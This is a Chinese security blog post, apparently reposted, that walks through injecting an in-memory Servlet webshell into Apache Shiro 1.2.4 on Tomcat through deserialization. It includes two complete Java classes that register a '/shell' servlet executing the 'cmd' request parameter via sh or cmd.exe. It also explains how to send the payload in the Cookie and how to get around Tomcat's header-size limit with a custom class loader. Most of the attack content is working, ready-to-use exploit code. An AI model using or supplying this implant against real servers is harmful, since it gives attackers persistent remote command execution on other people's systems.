shiro环境下的Servlet内存马注入踩坑日记

环境搭建

本地搭建

这里就直接使用1.2.4版本的shiro环境

下载连接

选择1.2.4版本的源码就行了(不管用git或者直接下载zip包)

直接打开该maven项目

图片[1]-shiro环境下的Servlet内存马注入踩坑日记-NGC660 安全实验室

idea自动会对项目依赖进行加载

我们使用其中官方给出的例子进行测试

也即是在samples文件夹下的samples-web项目

图片[2]-shiro环境下的Servlet内存马注入踩坑日记-NGC660 安全实验室

首先,我们对pom.xml就行修改

添加commons-collections 3.2.1的依赖和添加jstl依赖的版本

<dependency>
    <groupId>javax.servlet</groupId>
    <artifactId>jstl</artifactId>
    <version>1.2</version>
    <scope>runtime</scope>
</dependency>
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

之后就是添加tomcat容器进行部署

启动服务之后为

图片[3]-shiro环境下的Servlet内存马注入踩坑日记-NGC660 安全实验室

docker搭建

直接使用dockerhub的镜像就行了

构造内存马

熟悉shiro的人都知道大部分的CC链在shiro下是不能够利用成功的

具体点就是因为在shiro进行反序列化的过程中,在org.apache.shiro.io.DefaultSerializer#deserialize方法的调用中

图片[4]-shiro环境下的Servlet内存马注入踩坑日记-NGC660 安全实验室

这里并不是按照寻常的创建了一个ObjectInputStream对象,之后调用该对象的readObject方法进行反序列化利用

而对于ClassResolvingObjectInputStream这个类对象,我们可以跟进看一下

图片[5]-shiro环境下的Servlet内存马注入踩坑日记-NGC660 安全实验室

这个类继承了ObjectInputStream对象,且重写了其resolveClass方法

我们来对比看看两者这个方法有些什么不同的地方

图片[6]-shiro环境下的Servlet内存马注入踩坑日记-NGC660 安全实验室

ObjectInputStream#resolveClass方法中,使用的是Class.forName的方式获取类,而shiro中重写的方法中使用的是ClassUtils.forName方法进行获取的,我们可以详细看看

图片[7]-shiro环境下的Servlet内存马注入踩坑日记-NGC660 安全实验室

这里是调用了THREAD_CL_ACCESSOR属性的loadClass方法进行加载

图片[8]-shiro环境下的Servlet内存马注入踩坑日记-NGC660 安全实验室

该属性是一个ExceptionIgnoringAccessor对象

图片[9]-shiro环境下的Servlet内存马注入踩坑日记-NGC660 安全实验室

这里的实际调用的是WebappClassLoaderBase#loadClass方法(动态调试)

先从cache中找已载入的类,如果前3点都没找到,再通过父类URLClassLoaderloadClass函数载入。但是实际上此时loadClass的参数name值带上了数组的标志,即/Lorg/apache/commons/collections/Transformer;.class,在参考的第二篇文章里有提到这个问题,所以导致shiro无法载入数组类型的对象。

所以想要在shiro环境下进行利用,只需要找到一个不带有数组的利用方式就行了

有很多,这里就只是以InvokerTransformer + LazyMap + TemplatesImpl的组合来进行利用

因为我这里的tomcat环境是8.x版本, 我这里是动态创建了一个Servlet来注入内存马

所以我们需要获取到Context这个上下文对象

获取方式同样有很多,我这里选用了直接从上下文中获取ApplicationContext对象

// 从线程中获取类加载器WebappClassLoaderBase
WebappClassLoaderBase contextClassLoader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
// 获取TomcatEmbeddedContext对象
Context context = contextClassLoader.getResources().getContext();
// 从上下文中获取ApplicationContext对象
ApplicationContext servletContext = (ApplicationContext) getField(context, Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context"));

完整的构造

package pers.cc;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;

import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.Scanner;

public class TomcatMemshell2 extends AbstractTranslet implements Servlet{
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    public static Object getField(Object obj, Field field) {
        try {
            field.setAccessible(true);
            return field.get(obj);
        } catch (Exception e) {
        }
        return null;
    }

    static {
        try {
            // 从线程中获取类加载器WebappClassLoaderBase
            WebappClassLoaderBase contextClassLoader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            // 获取TomcatEmbeddedContext对象
            Context context = contextClassLoader.getResources().getContext();
            // 从上下文中获取ApplicationContext对象
            ApplicationContext servletContext = (ApplicationContext) getField(context, Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context"));

            String name = "RoboTerh";
            if (servletContext.getServletRegistration(name) == null) {
                StandardContext o = null;

                // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
                while (o == null) {
                    Field f = servletContext.getClass().getDeclaredField("context");
                    f.setAccessible(true);
                    Object object = f.get(servletContext);

                    if (object instanceof StandardContext) {
                        o = (StandardContext) object;
                    }
                }

                //自定义servlet
                Servlet servlet = new TomcatMemshell2();

                //用Wrapper封装servlet
                Wrapper newWrapper = o.createWrapper();
                newWrapper.setName(name);
                newWrapper.setLoadOnStartup(1);
                newWrapper.setServlet(servlet);

                //向children中添加Wrapper
                o.addChild(newWrapper);
                //添加servlet的映射
                o.addServletMappingDecoded("/shell", name);

            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void init(ServletConfig servletConfig) throws ServletException {

    }

    @Override
    public ServletConfig getServletConfig() {
        return null;
    }

    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        String cmd = servletRequest.getParameter("cmd");
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }
        String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
        Scanner s = new Scanner(in).useDelimiter("\\a");
        String output = s.hasNext() ? s.next() : "";
        PrintWriter out = servletResponse.getWriter();
        out.println(output);
        out.flush();
        out.close();
    }

    @Override
    public String getServletInfo() {
        return null;
    }

    @Override
    public void destroy() {

    }
}

之后使用不带数组的CC链生成序列化数据

图片[10]-shiro环境下的Servlet内存马注入踩坑日记-NGC660 安全实验室

测试内存马

启动我们clone下来的项目

失败的测试

之后将AES加密之后得到的base64编码的数据在Cookie字段发送

图片[11]-shiro环境下的Servlet内存马注入踩坑日记-NGC660 安全实验室

就这么简单就成功了吗?当然不是,在shiro服务端出现了报错

图片[12]-shiro环境下的Servlet内存马注入踩坑日记-NGC660 安全实验室

请求头太大了,不能够进行利用

那么如何绕过这个maxHttpHeaderSize的限制呢?

Litch1中存在有种思路

基于全局储存的新思路 | Tomcat的一种通用回显方法研究 (qq.com)

但是我选用了另一种思路进行注入

Java代码执行漏洞中类动态加载的应用 | l3yx’s blog

通过将创建一个自定义的ClassLoader来对我们的恶意类进行加载

ClassLoader中主要的逻辑是获取一个POST传参ClassData的值,然后调用defineClass进行类的获取之后调用newInstance进行实例化触发恶意类的静态代码块或者构造函数中的逻辑

所以,我们需要的是将我们注入内存马的恶意类的字节码进行base64编码之后进行POST传参,使得在shiro进行反序列化调用的时候会获取这个类并实例化,就能够绕过前面maxHttpHeaderSize的限制

具体的恶意类为:

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package pers.cc;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Scanner;
import javax.management.MBeanServer;
import javax.servlet.Servlet;
import javax.servlet.ServletConfig;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;
import org.apache.coyote.Request;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.modeler.Registry;

public class TomcatMemshell3 extends AbstractTranslet implements Servlet {
    public TomcatMemshell3() {
    }

    public static Object getField(Object obj, Field field) {
        try {
            field.setAccessible(true);
            return field.get(obj);
        } catch (Exception var3) {
            return null;
        }
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }

    public void init(ServletConfig servletConfig) throws ServletException {
    }

    public ServletConfig getServletConfig() {
        return null;
    }

    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        String cmd = servletRequest.getParameter("cmd");
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }

        String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
        Scanner s = (new Scanner(in)).useDelimiter("\\a");
        String output = s.hasNext() ? s.next() : "";
        PrintWriter out = servletResponse.getWriter();
        out.println(output);
        out.flush();
        out.close();
    }

    public String getServletInfo() {
        return null;
    }

    public void destroy() {
    }

    static {
        try {
            MBeanServer mBeanServer = Registry.getRegistry((Object)null, (Object)null).getMBeanServer();
            Object mbsInterceptor = getField(mBeanServer, Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"));
            Object repository = getField(mbsInterceptor, Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"));
            HashMap domainTb = (HashMap)getField(repository, Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb"));
            Object namedObject = ((HashMap)domainTb.get("Catalina")).get("name=\"http-nio-8080\",type=GlobalRequestProcessor");
            Object object = getField(namedObject, Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object"));
            Object resource = getField(object, Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"));
            ArrayList processors = (ArrayList)getField(resource, Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors"));
            Iterator var8 = processors.iterator();

            label41:
            while(true) {
                ServletContext servletContext;
                String name;
                do {
                    Request req;
                    do {
                        if (!var8.hasNext()) {
                            break label41;
                        }

                        Object processor = var8.next();
                        RequestInfo requestInfo = (RequestInfo)processor;
                        req = (Request)getField(requestInfo, Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"));
                    } while(req.getParameters().getParameter("cmd") == null);

                    org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request)req.getNote(1);
                    servletContext = request.getServletContext();
                    name = "RoboTerh";
                } while(servletContext.getServletRegistration(name) != null);

                StandardContext o = null;

                while(o == null) {
                    Field f = servletContext.getClass().getDeclaredField("context");
                    f.setAccessible(true);
                    Object obj = f.get(servletContext);
                    if (obj instanceof ServletContext) {
                        servletContext = (ServletContext)obj;
                    } else if (obj instanceof StandardContext) {
                        o = (StandardContext)obj;
                    }
                }

                Servlet servlet = new TomcatMemshell3();
                Wrapper newWrapper = o.createWrapper();
                newWrapper.setName(name);
                newWrapper.setLoadOnStartup(1);
                newWrapper.setServlet(servlet);
                o.addChild(newWrapper);
                o.addServletMappingDecoded("/shell", name);
            }
        } catch (Exception var18) {
            var18.printStackTrace();
        }

    }
}

这里是动态创建了一个Servlet

成功的测试

之后我们可以进行测试

图片[13]-shiro环境下的Servlet内存马注入踩坑日记-NGC660 安全实验室

像这样进行传参

判断是否成功注入

图片[14]-shiro环境下的Servlet内存马注入踩坑日记-NGC660 安全实验室

成功创建了一个Servlet

Reference

https://l3yx.github.io/2020/07/06/Java%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E4%B8%AD%E7%B1%BB%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD%E7%9A%84%E5%BA%94%E7%94%A8

https://www.anquanke.com/post/id/192619

https://mp.weixin.qq.com/s?__biz=MzIwNDA2NDk5OQ==&mid=2651374294&idx=3&sn=82d050ca7268bdb7bcf7ff7ff293d7b3

本文作者:RoboTerh

本文转载于先知社区,如有侵权请联系删除

© 版权声明
THE END
喜欢就支持一下吧
点赞5 分享